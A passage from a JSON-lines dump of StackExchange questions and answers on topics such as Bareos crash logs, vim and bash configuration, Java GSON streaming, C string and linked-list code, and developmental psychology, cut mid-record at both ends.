/etc/bareos/director.d/job-lampdir-fd-BaculaDirectorDirFiles.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/job-lampdir-fd-BaculaDirectorDirFiles.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/pool-Full.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/pool-Full.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/messages-standard.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/messages-standard.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/fileset-LinuxAll.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/fileset-LinuxAll.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/pool-Incremental.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/pool-Incremental.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/catalog-MyCatalog.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/catalog-MyCatalog.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/job-lampdir-fd-BackupCatalog.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/job-lampdir-fd-BackupCatalog.confbareos-dir (200): runscript.c:334-0 runscript: debugbareos-dir (200): runscript.c:335-0  --> RunScriptbareos-dir (200): runscript.c:336-0   --> Command=/usr/lib/bareos/scripts/make_catalog_backup.pl MyCatalogbareos-dir (200): runscript.c:337-0   --> Target=%cbareos-dir (200): runscript.c:338-0   --> RunOnSuccess=1bareos-dir (200): runscript.c:339-0   --> RunOnFailure=0bareos-dir (200): runscript.c:340-0   --> FailJobOnError=1bareos-dir (200): runscript.c:341-0   --> RunWhen=2bareos-dir (200): runscript.c:334-0 runscript: debugbareos-dir (200): runscript.c:335-0  --> RunScriptbareos-dir (200): runscript.c:336-0   --> Command=/usr/lib/bareos/scripts/delete_catalog_backupbareos-dir (200): runscript.c:337-0   --> Target=%cbareos-dir (200): runscript.c:338-0   --> RunOnSuccess=1bareos-dir (200): runscript.c:339-0   --> RunOnFailure=0bareos-dir (200): runscript.c:340-0   --> FailJobOnError=0bareos-dir (200): runscript.c:341-0   --> RunWhen=1bareos-dir (100): lex.c:250-0 open config file: |find /etc/bareos/clients.d -name '*.conf' -type f -exec echo @{} ;bareos-dir (100): lex.c:356-0 glob /etc/bareos/clients.d/lampdir-fd.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/clients.d/lampdir-fd.confBAREOS interrupted by signal 11: Segmentation violationKaboom! bareos-dir, bareos-dir got signal 11 - Segmentation violation. Attempting traceback.Kaboom! exepath=/usr/sbin/Calling: /usr/sbin/btraceback /usr/sbin/bareos-dir 10692 /var/lib/bareos/usr/sbin/btraceback: 94: /usr/sbin/btraceback: cannot create /var/lib/bareos/bareos.10692.traceback: Permission deniedcat: /var/lib/bareos/bareos.10692.traceback: No such file or directoryIt looks like the traceback worked...Dumping: /var/lib/bareos/bareos-dir.10692.bactraceAttempt to dump locksAttempt to dump current JCRs. njcrs=0It appears that the last file processed is /etc/bareos/clients.d/lampdir-fd.conf :Client {  Name = lampdir-fd  Address = localhost  FDPort = 9102  Password = blah  Catalog = MyCatalog  FileRetention = 30 days  JobRetention = 6 months  AutoPrune = true  HeartbeatInterval = 1 minute}Not certain what the issue with it is..."  , "title": "BAREOS 16.2.4 interrupted by signal 11: Segmentation violation in Debian 8?"  , "tags": "debian;segmentation fault;bareos"  } 
{  "id": "_cogsci.8209"  , "question": "What I get from Trevarthen's theory of innate intersubjectivity (2010) and the theory of theory of mind (Perner, 1999) is that they don't agree.A considerable number of studies in theory of mind development suggest that infants are cognitively egocentric, that is they cannot understand that others may have different thoughts, feelings and points of view than they do until the age of 3 or 4 when a shift in cognitive development occurs.Trevarthen on the other hand states that a newborn's view of the world is already intersubjective, that is a newborn can share parts of his/her inner world (thoughts, feelings) with other people and sense other people's intentions.I was having a disagreement with my developmental psychology professor who thought they were reconcilable if one does a proper conceptual analysis of the statements of each theory and the methods and data that they use to formulate their theories, but she did not get any more specific as to what can be defined alternatively and how can this be done to avoid conflict.Any thoughts on that?  "  , "title": "Are innate intersubjectivity and theory of mind opposing theories or are they reconcilable?"  , "tags": "cognitive psychology;developmental psychology;theory of the mind"  } 
{  "id": "_unix.41260"  , "question": "I have the mapping shown below, in my ~/.vimrc. However, this mapping also hijacks the Enter key. So, whenever I hit Enter it executes the tabedit % command. I am using gvim 7.3nnoremap <C-m> :tabedit %<CR>Can anyone fix this so that it doesn't hijack the Enter key."  , "title": "Vim mapping behaving strangely"  , "tags": "vim"  , "accepted_answer": "< C-m> maps to the enter key (C-M and CR both do); it's not hijacking it, you're telling it to run :tabedit % every time you hit enter. I would suggest a different mapping.See :h key-notation for more information."  } 
{  "id": "_unix.376153"  , "question": "I find myself using bash more often than not on remote machines even though fish is my preferred shell. Fish has small, but nice feature that when you hit Ctrl+C something like this happens:if command running   send SIGINTelse   clear line (don't start a new one)It would be nice to be able to do this in bash too.I imagine it would involve trapping SIGINT, which comes from stty being configured to send it once Ctrl+C is hit, but I haven't found out how to execute the pseudo-code above.What I've triedtrap 'tput dl1' SIGINT which clears the line, but still continues to start a new line/prompt (it's like hitting enter on an empty prompt) and does so only if I've not navigated in history :\\"  , "title": "How can one override bash Ctrl+C to be more fish-like"  , "tags": "bash;configuration;tty;fish;stty"  } 
{  "id": "_unix.347219"  , "question": "I have a win10 pc and I'm trying to set up a dual boot with Ubuntu using a pen drive with grub. The problem is when I select install Ubuntu from grub menu it has the same effect as if I click to boot Ubuntu directly from my pen drive, so the installation is not initialized but the Ubuntu SO is booted from my pen drive. Am I missing something here? Any tips? Thanks! "  , "title": "Grub bypass Ubuntu installation"  , "tags": "ubuntu;grub2"  } 
{  "id": "_softwareengineering.197707"  , "question": "In my PHP web page (index.php), I have a simple script that calls a page class, and then builds the page from it.Index.php executes methods within an instance of the 'page' class, such as add_to_body(bla bla bla). It can then call a build() method, where the page class will return a string with the user input and some other HTML elements pre-added in, that index.php can echo. Essentially the page class is a template of sorts. I'm trying to have some kind of MVC hierarchy here (I'm a student learning about programming 'best practices' in my own time), my question is: would 'index.php' be a view? Or, would the instance of the page class be the view (as it constructs the page, but it doesn't actually show it, it returns a string), or: would the 'page' class be a controller? Also, is a view 'allowed' to talk to (eg: get data from) a controller (for example: by calling a method that controller owns)? Many thanks for your help!"  , "title": "MVC View Question"  , "tags": "php;mvc;web"  } 
{  "id": "_cs.54741"  , "question": "Suppose that you have a large dictionary with spellings and pronounciations of foreign words, and you want to find a set of pronunciation rules. They should have the simplest form: a sequence of letters to a sequence of sounds.For example, in French, c [k], i [i] and ci [si].The rules may be long: tion [sj] (instead of [tj]).They may be rare:  [a] is used only in a dozen of words.They may be both: aill [aj] (as a-ill, instead of ai-ll [l]).Fortunately, such rules are rare enough: for the most part, the letters are pronounced by itself, even most of them in complicated rules. For examples, cercle [skl] instead of [kkl]: the algorithm should notice the corresponding sounds in the middle of the word.Maybe, there is a standard algorithm to extract candidates for such rules? I would like to have an explicit list of rules, rather than a method predicting  pronunciation."  , "title": "Algorithm to find pronounciation rules"  , "tags": "algorithms;machine learning;data mining;computational linguistics"  , "accepted_answer": "Broadly, I can see two possible approaches: machine learning, or data miningMachine learningYou could look into using machine learning to learn a transducer that transforms the input sequence (the letters in the word) to the output sequence (the pronunciation).  This approach doesn't try to find an explicit set of rules; it just tries to find a method that is effective in practice at producing the right pronunciation.You could try training a recurrent neural network (RNN), and/or a LSTM network.  LSTM's have been effective at related tasks, and since you have a large training set, they might possibly be effective here.  Bi-directional RNN's/LSTM's might be worth exploring.Data miningAlternatively, you could use data mining techniques to try to find an explicit set of rules that seem to have good support among your dictionary.This problem fits into the general area of sequence mining (also known as sequential pattern mining) and association rule learning.  I think it might be fruitful to try applying one of the algorithms from that field, to your problem.In your case, you could consider each possible substring of the word or pronunciation to be a possible item, and your goal is to find rules of the form $x \\Rightarrow y$, where $x$ is a substring of the word and $y$ is a substring of the pronunciation.  This is a special case of itemset mining, where your itemsets are restricted to have size 1.  You could then adapt any standard itemset algorithm (e.g., Apriori, FP-growth) to this problem.For instance, here is an adaptation of Apriori.  You consider all possible rules of the form $x \\Rightarrow y$, where $x$ and $y$ are length 1.  For each, you compute their support or some probabilistic measure of the strength of the association (e.g., out of all words that contain $x$, what fraction contain $y$?).  Discard all candidate rules for which this metric is below some threshold.  Then, try all extensions of this rule by extending either $x$ or $y$ by one character to the left or right side of it; this gives you a bunch more candidates.  For each such candidate, compute the metric and discard those that are below the threshold.  Keep expanding your set of candidates until no new candidates can be identified.  This is basically a form of breadth-first search.  Finally, at the end, prune your rules by eliminating rules with a containment relationship (e.g., if you have a rule $x \\Rightarrow y$, then you might want to remove all other rules of the form $x' \\Rightarrow y'$ where $x'$ is a substring of $x$ and $y'$ is a substring of $y$).You could also consider similar tweaks to FP-growth.However, it's not clear to me how well a data mining-based approach will work: while it does consider order to some extent, it doesn't take into account the position within the word, and it doesn't consider whether a set of rules fully covers all of the characters in the word, and it doesn't take into account rule overlap (e.g., $x_1 \\Rightarrow y_1$ and $x_2 \\Rightarrow y_2$ where $x_1,x_2$ overlap partially)."  } 
{  "id": "_softwareengineering.246648"  , "question": "I'm in a situation at work where I have to transfer responsibility of a large code base that I inherited, re-factored and enhanced to another developer. This is the first time that I have to do such a thing and although I always thought it would be trivial the actual steps I have to follow seem vague.The code base I maintain is a module that includes a lot of stuff such asA persistence layerA service layerA presentation layer which sadly has a lots of business code in itAn interface for module interactionI also have very good knowledge of the business assumptions made when it was developed as well as its technical foundation.I know that I can go with my mind's flow and give it my best but I prefer to do it in the most professional manner I can. So, I would like to ask you for advice on how I should approach this situation. Are there any standard procedures and good practices that I could follow?"  , "title": "How to transfer code responsibility to another developer"  , "tags": "teamwork;knowledge transfer;code ownership"  } 
{  "id": "_codereview.69324"  , "question": "Here is my JSON in which I have only three reportRecords just for demonstration purpose but in general sometimes we are getting pretty huge JSON, then it doesn't have three reportRecords only, it has large number of reportRecords.{   parentRecords:{      reportRecords:[         {            min:1.0,            max:1.0,            avg:1.0,            count:18,            sumSq:18.0,            stddev:0.0,            median:1.0,            percentileMap:{               95:1            },            metricName:TotalCount,            dimensions:{               env:prod,               pool:hawk,               Name:CORE_utrade11,               Type:Error            },            value:18.0         },         {            min:1.0,            max:1.0,            avg:1.0,            count:25968842,            sumSq:2.5968842E7,            stddev:0.0,            median:1.0,            percentileMap:{               95:1            },            metricName:TotalCount,            dimensions:{               env:prod,               pool:hawk,               Name:ResponseHeaders,               Type:ConnectionPool            },            value:2.5968842E7         },         {            min:1.0,            max:1.0,            avg:1.0,            count:44,            sumSq:44.0,            stddev:0.0,            median:1.0,            percentileMap:{               95:1            },            metricName:TotalCount,            dimensions:{               env:prod,               pool:hawk,               Name:read-lookup,               Type:ClientPool            },            value:44.0         }      ]   },   minRecordsMap:{   }}Now I am trying to serialize above JSON to extract those reportRecords whose Type is ClientPool and ConnectionPool only so I don't want to load everything in memory. And I am thinking to use GSON Streaming for this and I got below code working fine.private static final List<String> metricsToExtract = Arrays.asList(ClientPool, ConnectionPool);// does this have to be static final?private static final GsonBuilder gsonBuilder = new GsonBuilder();public static void main(String[] args) {    String urlA = urlA;    String urlB = urlB;    try {        List<HostClientMetrics> clientMetrics = loadMetrics(urlA);        clientMetrics.addAll(loadMetrics(urlB));    } catch (Exception ex) {        ex.printStackTrace();    }}private static List<HostClientMetrics> loadMetrics(String url) {    Gson gson = gsonBuilder.create();    List<HostClientMetrics> metrics = new ArrayList<HostClientMetrics>();    try {        InputStream input = new URL(url).openStream();        JsonReader reader = new JsonReader(new InputStreamReader(input, UTF-8));        reader.beginObject();        String jsonTag = null;        while (reader.hasNext()) {            jsonTag = reader.nextName();            if (parentRecords.equals(jsonTag)) {                reader.beginObject();                while (reader.hasNext()) {                    jsonTag = reader.nextName();                    if (reportRecords.equals(jsonTag)) {                        reader.beginArray();                        while (reader.hasNext()) {                            HostClientMetrics hostClientMetrics = gson.fromJson(reader, HostClientMetrics.class);                            for (String extract : metricsToExtract) {                                if (extract.equals(HostClientMetrics.getDimensions().getType())) {                                    metrics.add(HostClientMetrics);                                }                            }                        }                        reader.endArray();                    }                }                reader.endObject();            } else if (minRecordsMap.equals(jsonTag)) {                reader.beginObject();                // skip                reader.endObject();            }        }        reader.endObject();        reader.close();        return metrics;    } catch (Exception ex) {        System.out.println(ex: + ex);    }    return metrics;}HostClientMetricspublic class HostClientMetrics {    private String metricName;    private Map<String, Integer> percentileMap;    private String median;    private String stddev;    private String sumSq;    private String count;    private String avg;    private String max;    private String min;    public String getMetricName() {        return metricName;    }    public Map<String, Integer> getPercentileMap() {        return percentileMap;    }    public String getMedian() {        return median;    }    public String getStddev() {        return stddev;    }    public String getSumSq() {        return sumSq;    }    public String getCount() {        return count;    }    public String getAvg() {        return avg;    }    public String getMax() {        return max;    }    public String getMin() {        return min;    }    public Dimensions getDimensions() {        return dimensions;    }    public Dimensions dimensions;    public static class Dimensions {        private String env;        private String pool;        @SerializedName(Name)        private String name;        @SerializedName(Type)        private String type;                    public String getEnv() {            return env;        }        public String getPool() {            return pool;        }        public String getName() {            return name;        }        public String getType() {            return type;        }               }}I'd like to improve this in any way using GSON Streaming. I need to extract those reportRecords whose Type is ClientPool and ConnectionPool only."  , "title": "Serializing big JSON using GSON without loading everything in memory"  , "tags": "java;performance;json;serialization"  , "accepted_answer": "There is no point for printing an exception, it would be better if you can rethrow it, wrap it into an unchecked exception and throw it.catch (Exception ex) {   throw new RuntimeException}The reader will not be closed if an exception occurred while parsing the json, Java 7 supports try-with-resources statement, this will close the resources for you in a safe way try(JsonReader reader = new JsonReader(new InputStreamReader(input, UTF-8)){ ....}catch(Exception e){  throw new RuntimeException(e);}If you aren't using Java 7 then you can go with the try-catch-finally approach.JsonReader reader = new JsonReader(new InputStreamReader(input, UTF-8));try{}catch(Exception e){throw new RuntimeException(e1);} finally{ try{ reader.close(); }catch(Exception e1){   throw new RuntimeException(e1); }}It's ugly isn't it? But it's the only way if you running java 6 or lower versionsExtract you constants into variablespublic static final REPORT_RECORDS_TAG_NAME = reportRecords;There is no point for declaring jsonTag string and initializing it into null outside the loop.  String jsonTag = reader.nextName();In your HostClientMetrics class everything is declared as a String where Java has a type system, count for instance should have a numerical type"  } 
{  "id": "_cstheory.4246"  , "question": "Yesterday, I discussed with one of my EE friends. She asked me an interesting problem and I simplify it by ignoring the bandwidth cost and model as following:Given a graph $G=(V,E)$ with its path set $P=\\{P_1,P_2,\\ldots, P_m\\}$ where $P_i$ is a path between two points in $V$. A path $P_i$ is colored by red if only and only if one of it's edges is colored by red, i.e. $P^c=red$; otherwise $P_i$ is colored by blue, i.e. $P^c=blue$. Find a subset $P_s\\subseteq P$ s.t. 1) If for every $j$ color all edges in $G$ by blue except only one $e_j\\in E$ by red, there is a subset $P_s' =\\{P_1,P_2,\\ldots,P_t\\}$ in $P_s$ such that $f(P_1^c,\\ldots,P_t^c)=e_j$ where f() is one-to-one mapping; 2) minimize the size of the result set $P_s$.My questions are:1) is there any similar work done in TCS?2) is there any similar work done in graph theory?3)2) is there any similar work done in networks?3) any discussions about this problem are welcome."  , "title": "Is any related work to this m-trails problem ?"  , "tags": "ds.algorithms;graph theory;graph algorithms"  } 
{  "id": "_codereview.83463"  , "question": "My problem is in writing a function reverse(s) that reverses the character string s, a line at a time. My code here works, I write the line and it reverses the line. Is it a good solution?#include <stdio.h>#include <stdlib.h>#define MAX 1000void  reverse(char cad[] ,char cadenita[],int i);int main() {    int a ,i ;    char cad[MAX] = {0,0};    char cadenita[MAX];    i= 0;      while ((a = getchar()) != EOF) {          if (a != '\\n') {             cad[i] = a;              ++i;          }          else  {                                cad[i] = '\\0' ;                           reverse(cad , cadenita, i);                           printf(%s\\n,cadenita);                         i = 0;          }                     }         return (EXIT_SUCCESS);}void  reverse(char s[] ,char svol[], int i) {    int a =0 ;    // i is the amount characters in s    while ((svol[a] = s[i-1]) != '\\0' ){        ++a;        --i;           }   } Also in this part of code while ((svol[a] = s[i-1]) != '\\0' ){ . If I change to  ((svol[a] = s[i-1]) != '\\n' ) it still works and gives the same result, but why? I think there is an issue. Can you explain? Also, where does it break?"  , "title": "A function that reverses a string of characters"  , "tags": "c;strings"  , "accepted_answer": "A smarter use of getchar()I don't recommend using getchar() to read one character at a time, since you are really interested more in lines.  However, if you do use getchar(), you might as well use it more effectively, by writing the string in reverse to begin with.#include <stdio.h>#define MAX 1000int main() {    char cadena[MAX];    do {        int i;        cadena[i = MAX - 1] = '\\0';         while (i > 0) {            int c = getchar();            if (c == EOF) {                return 0;            } else if (c == '\\n') {                break;            } else {                cadena[--i] = c;            }        }        puts(cadena + i);    } while (1);}"  } 
{  "id": "_unix.283316"  , "question": "This is CentOS 7 running in Docker. Silent install doesn't show anything in /tmp/state.xml. When I remove silent install and enable X11 for the installer Window, I can see that the installer is stuck at this step.Have tried installing JDK 8 and setting $JAVA_HOME to no avail.Downloaded the 64-bit Linux installer. I shouldn't need to install ia32-libs according to this: RedHat-based 64bit distributions should contain ia32-libs automatically and the 32bit bundles should start without any error. http://wiki.netbeans.org/FaqUnableToPrepareBundledJdk Configuring the installer...Searching for JVM on the system...Preparing bundled JVM ..."  , "title": "NetBeans 8.1 installer stuck on 64-bit RHEL 7"  , "tags": "centos;docker"  } 
{  "id": "_unix.43063"  , "question": "After using linux for a month or two, I know what I'm doing now.When creating programs, using whatever language, I've obviously been using code like this:$ python test.pyAnd so if I wanted test.py to read a given file, I would have to use:$ python test.py something.fileWhat I'd like to do now, it try and create a command line application, so I can use$ myapp something.fileA program like the python in $ python test.py, or the nano in $ nano program.plBut where on earth do I start building applications like these? A bit of web trawling has got me nowhere.If you can tell me yourself that would be great, but I'll readily accept a bunch of links.I'm totally open if there's more than one way, I don't really mind what language (an excuse to learn another!) or whatever."  , "title": "Where to start creating CLI applications?"  , "tags": "command line;application"  } 
{  "id": "_codereview.143595"  , "question": "I wrote this sparse linked list insert function, and there are nine return statements. Is this a code smell? Is this badly implemented? I fear that it's hard to read, or hard to maintain./* NOT BUGS, TESTED AND WORKS CORRECTLY * insert an element into a list * list is ordered using pos * if position pos is already occupied, the value of the node * should be updated with val * if val=0, then the element should be deleted * return 0 if operation is succesfull *        1 if malloc failed */int insert_element(ElementNode_handle *list_handle, int pos, int data){  /*Record the head*/  ElementNode *current = *list_handle;  /* If data is 0, stop */  if (data == 0)  {    return 1;  }  /* If list is empty, crate new list*/  if (current == NULL)  {    /* Create new list */    ElementNode *new_node = make_node(pos, data);    /* Malloc fail check*/    if (new_node == NULL)    {      return 0;    }    new_node->data = data;    new_node->pos = pos;    *list_handle = new_node;    return 1;  }  /* If head pos == pos, replace and done*/  if (current->pos == pos)  {    current->data = data;    return 1;  }  else if (current->pos > pos)  {    /* Create new node between current and next */    ElementNode *new_node = make_node(pos, data);    if (new_node == NULL)    {      return 0;    }    new_node->next = current;    *list_handle = new_node;    return 1;  }  /*Walk the list, until next hits the end*/  while (current->next != NULL)  {    if (current->next->pos == pos)    { /* If next pos equals post, replace, done*/      current->next->data = data;      return 1;    }    else if (current->next->pos > pos)    {      /* Create new node between current and next */      ElementNode *new_node = make_node(pos, data);      if (new_node == NULL)      {        return 0;      }      ElementNode *next     = current->next;      current->next         = new_node;      new_node->next        = next;      return 1;    }    /*walk the list*/    current = current->next;  }  /* Append to the tail */  ElementNode *new_node = make_node(pos, data);  if (new_node == NULL)  {    return 0;  }  current->next = new_node;  return 1;}=== EDIT ===Refactored based on @user1118321/** * @brief insert an element into a list * @details * list is ordered using pos if position * pos is already occupied, the value of * the node should be updated with data * @param p_list_handle Opaque pointer to list * @param pos Position to insert * @param data data at position * @return 0 = success, 1 = failed */int insert_element(ElementNode_handle *p_list_handle, int pos, int data){  /*Record the head*/  ElementNode *current = *p_list_handle;  /*Record previous*/  ElementNode *previous = NULL;  /*End result*/  int result = -1;  if (data == 0)  {    delete_element(p_list_handle, pos);    return 0;  }  if (current == NULL)  {    return make_list(p_list_handle, pos, data);  }  while ((current != NULL) && (result == -1))  {    if (current->pos == pos)    {      current->data = data;      result = 0;    }    else if (current->pos > pos)    {      ElementNode *new_node = make_node(pos, data);      if (new_node == NULL)      {        result = 1;      }      if (previous == NULL)      {        *p_list_handle = new_node;      }      else      {        previous->next = new_node;      }      new_node->next = current;      result = 0;    }    previous = current;    current = current->next;  }  if (result == -1)  {    ElementNode *new_node = make_node(pos, data);    if (new_node == NULL)    {      result = 0;    }    previous->next = new_node;  }  return result;}"  , "title": "Sparse linked list insert function"  , "tags": "c;linked list"  , "accepted_answer": "This is a good question. Code smells tend to be subtle, and I think you're right to ask about this code. In my opinion, yes, it's a code smell. There's a general rule that programmers are taught to only have a single return statement in their functions in order to reduce the amount of spaghetti code we write. It's a good rule of thumb, but it can be taken too far. It often makes sense to have an early return when the inputs are invalid, or there's no action to take. That can actually make the code clearer.That said, I think your code has a little of both. It has a few reasonable early returns and a several unnecessary ones. I also think the code could be restructured to make it shorter without reducing its readability. (And actually, your code's readability is pretty good.) Here are my suggestions:Comments Are Out of DateIt looks like the comment at the top of the function doesn't match the implementation. It mentions a parameter named val, but there's no val in the code. I assume it means data. And if that is correct, then the comment is still wrong in that it says that when val (data) is 0, the node at pos should be deleted, but it isn't. You just return 1 at that point. So at least make the comments match the code.Early ReturnsAs mentioned above, I think early returns are fine. If a value of 0 for data means do nothing, then the first return is fine. The next 2 are OK, but could be improved. I would do that by making a function for creating a new list. (Another good rule of thumb is to only do allocations in a single function and have all other functions that need to allocate memory call that function.) I would make a function like this:int create_list(Elementnode_Handle *list_handle, const int pos, const int data){    /* Create new list */    ElementNode *new_node = make_node(pos, data);    /* Malloc fail check*/    if (new_node == NULL)    {      return 0;    }    new_node->data = data;    new_node->pos = pos;    *list_handle = new_node;    return 1;}Then, I would make your second check look like this:if (current == NULL){    return create_list(list_handle, pos, data);}That improves the readability a lot, and reduces those 2 early returns into 1.Don't Repeat YourselfThe next thing the code does is checks the head node of the list to see if either pos matches the first node, or is at an earlier position than the first node. Then it goes into a loop and checks the exact same condition for every other node in the list (at least until it finds the right spot). You can rearrange your loop so that you don't need the extra copy for the first node. I'd do it something like this:ElementNode *nextNode = current;ElementNode *prevNode = NULL;while (nextNode != NULL){    if (nextNode->pos == pos)    {        nextNode->data = data;        return 1;    }    else if (nextNode->pos > pos)    {          /* Create new node between current and next */          ElementNode *new_node = make_node(pos, data);          if (new_node == NULL)          {            return 0;          }          if (prevNode == NULL)          {              *list_handle = new_node;          }          else          {              prevNode->next = new_node;          }          new_node->next = nextNode;          return 1;    }    prevNode = nextNode;    nextNode = nextNode->next;}Note: I haven't actually run the above code, so double-check it to make sure I didn't mess up the insertion. But the point remains that you can eliminate the first copy of those checks.You could further reduce the number of early returns by doing something like the following before the loop:int result = -1;while ((nextNode != NULL) && (result == -1)){    // ... loop from above, but set result to 0 or 1     // instead of returning 0 or 1}// If we didn't find the node in the list, append it to the endif (result == -1){    ElementNode *new_node = make_node(pos, data);    if (new_node == NULL)    {        return 0;    }    prevNode->next = new_node;}return result;That will eliminate 3 other early returns.Make Unchanging Arguments constOne last thing. Since you never change the value of pos or data in your function, you should mark them as const. That tells both the compiler and the reader that the function does not modify them either locally or alter their values upon return of the function. That can make it easier to understand a function's purpose at a glance."  } 
{  "id": "_cogsci.16254"  , "question": "At a hospital I work in (as a new psychiatry trainee), some admitted patients - especially those with conversion disorder - are made by psychologists to:Stop meeting their friends or familySpend the entire day in isolation on their bedsOnly eat simple (but not aversive) food such as bread with milk.This treatment lasts for weeks. They call it extinction therapy. However, in attempts of finding scientific evidence relating to this practice, I looked it up online and couldn't find any references to extinction therapy.My question is:Is the above psychological management a known and named concept? If so, what is it called?"  , "title": "What is the name for the psychological therapy involving socially isolating a patient?"  , "tags": "psychiatry"  } 
{  "id": "_codereview.144376"  , "question": "This post elaborates on NBA*: Very efficient bidirectional heuristic search algorithm in Java. I have made the following changes:Added an explicit type for representing digraph paths: DirectedGraphPath.If the target node is unreachable from the source node, a TargetUnreachableException is thrown instead of returning a sentinel value representing a nonexistent path.HeapEntry removed from AbstractPathfinder and moved into the package net.coderodde.graph.pathfinding.support, where it is declared as package-private.ZeroHeuristicFunction is removed and a lambda is used instead.HeuristicFunction is annotated as @FunctionalInterface.The source and target nodes in the demonstration are chosen to be as far from each other as feasible.Minor improvements in the Demo.An optimality related bug fixed.NBAStarPathfinder.javapackage net.coderodde.graph.pathfinding.support;import java.util.Arrays;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Objects;import java.util.PriorityQueue;import java.util.Set;import net.coderodde.graph.DirectedGraph;import net.coderodde.graph.DirectedGraphWeightFunction;import net.coderodde.graph.pathfinding.AbstractPathfinder;import net.coderodde.graph.pathfinding.DirectedGraphPath;import net.coderodde.graph.pathfinding.HeuristicFunction;import net.coderodde.graph.pathfinding.TargetUnreachableException;/** * This pathfinding algorithm is due to Wim Pijls and Henk Post in Yet another * bidirectional algorithm for shortest paths. 15 June 2009. * <p> * <b>This class is not thread-safe.</b> If you need it in different threads, * make sure each thread has its own object of this class. * * @author Rodion rodde Efremov * @version 1.61 (Oct 13, 2016) */public final class NBAStarPathfinder extends AbstractPathfinder {    private final HeuristicFunction heuristicFunction;    private final PriorityQueue<HeapEntry> OPENA = new PriorityQueue<>();    private final PriorityQueue<HeapEntry> OPENB = new PriorityQueue<>();    private final Map<Integer, Integer> PARENTSA = new HashMap<>();    private final Map<Integer, Integer> PARENTSB = new HashMap<>();    private final Map<Integer, Double> DISTANCEA = new HashMap<>();    private final Map<Integer, Double> DISTANCEB = new HashMap<>();    private final Set<Integer> CLOSED = new HashSet<>();    private double fA;    private double fB;    private double bestPathLength;    private Integer touchNode;    private Integer sourceNode;    private Integer targetNode;    public NBAStarPathfinder(DirectedGraph graph,            DirectedGraphWeightFunction weightFunction,            HeuristicFunction heuristicFunction) {        super(graph, weightFunction);        this.heuristicFunction                = Objects.requireNonNull(heuristicFunction,                        The input heuristic function is null.);    }    @Override    public DirectedGraphPath search(int sourceNode, int targetNode) {        if (sourceNode == targetNode) {            return new DirectedGraphPath(Arrays.asList(sourceNode));        }        init(sourceNode, targetNode);        while (!OPENA.isEmpty() && !OPENB.isEmpty()) {            if (OPENA.size() < OPENB.size()) {                expandInForwardDirection();            } else {                expandInBackwardDirection();            }        }        if (touchNode == null) {            throw new TargetUnreachableException(graph,                                                  sourceNode,                                                 targetNode);        }        return tracebackPath(touchNode, PARENTSA, PARENTSB);    }    private void expandInForwardDirection() {        Integer currentNode = OPENA.remove().getNode();        if (CLOSED.contains(currentNode)) {            return;        }        CLOSED.add(currentNode);        if (DISTANCEA.get(currentNode) +                heuristicFunction.estimateDistanceBetween(currentNode,                                                          targetNode)                >= bestPathLength                ||                DISTANCEA.get(currentNode) +                fB -                 heuristicFunction.estimateDistanceBetween(currentNode,                                                          sourceNode)                >= bestPathLength) {            // Reject the 'currentNode'.        } else {            // Stabilize the 'currentNode'.            for (Integer childNode : graph.getChildrenOf(currentNode)) {                if (CLOSED.contains(childNode)) {                    continue;                }                double tentativeDistance                        = DISTANCEA.get(currentNode)                        + weightFunction.get(currentNode, childNode);                if (!DISTANCEA.containsKey(childNode)                        ||                         DISTANCEA.get(childNode) > tentativeDistance) {                    DISTANCEA.put(childNode, tentativeDistance);                    PARENTSA.put(childNode, currentNode);                    HeapEntry e                            = new HeapEntry(                                    childNode,                                    tentativeDistance                                    + heuristicFunction                                    .estimateDistanceBetween(childNode,                                                             targetNode));                    OPENA.add(e);                    if (DISTANCEB.containsKey(childNode)) {                        double pathLength = tentativeDistance                                + DISTANCEB.get(childNode);                        if (bestPathLength > pathLength) {                            bestPathLength = pathLength;                            touchNode = childNode;                        }                    }                }            }        }        if (!OPENA.isEmpty()) {            fA = OPENA.peek().getDistance();        }    }    private void expandInBackwardDirection() {        Integer currentNode = OPENB.remove().getNode();        if (CLOSED.contains(currentNode)) {            return;        }        CLOSED.add(currentNode);        if (DISTANCEB.get(currentNode) +                heuristicFunction.estimateDistanceBetween(currentNode,                                                          sourceNode)                >= bestPathLength                ||                 DISTANCEB.get(currentNode) +                fA -                heuristicFunction.estimateDistanceBetween(currentNode,                                                           targetNode)                >= bestPathLength) {            // Reject the node 'currentNode'.        } else {            for (Integer parentNode : graph.getParentsOf(currentNode)) {                if (CLOSED.contains(parentNode)) {                    continue;                }                double tentativeDistance                        = DISTANCEB.get(currentNode)                        + weightFunction.get(parentNode, currentNode);                if (!DISTANCEB.containsKey(parentNode)                        ||                        DISTANCEB.get(parentNode) > tentativeDistance) {                    DISTANCEB.put(parentNode, tentativeDistance);                    PARENTSB.put(parentNode, currentNode);                    HeapEntry e                            = new HeapEntry(parentNode,                                    tentativeDistance                                    + heuristicFunction                                    .estimateDistanceBetween(parentNode,                                                             sourceNode));                    OPENB.add(e);                    if (DISTANCEA.containsKey(parentNode)) {                        double pathLength = tentativeDistance                                + DISTANCEA.get(parentNode);                        if (bestPathLength > pathLength) {                            bestPathLength = pathLength;                            touchNode = parentNode;                        }                    }                }            }        }        if (!OPENB.isEmpty()) {            fB = OPENB.peek().getDistance();        }    }    private void init(Integer sourceNode, Integer targetNode) {        OPENA.clear();        OPENB.clear();        PARENTSA.clear();        PARENTSB.clear();        DISTANCEA.clear();        DISTANCEB.clear();        CLOSED.clear();        double totalDistance                = heuristicFunction.estimateDistanceBetween(sourceNode,                                                            targetNode);        fA = totalDistance;        fB = totalDistance;        bestPathLength = Double.MAX_VALUE;        touchNode = null;        this.sourceNode = sourceNode;        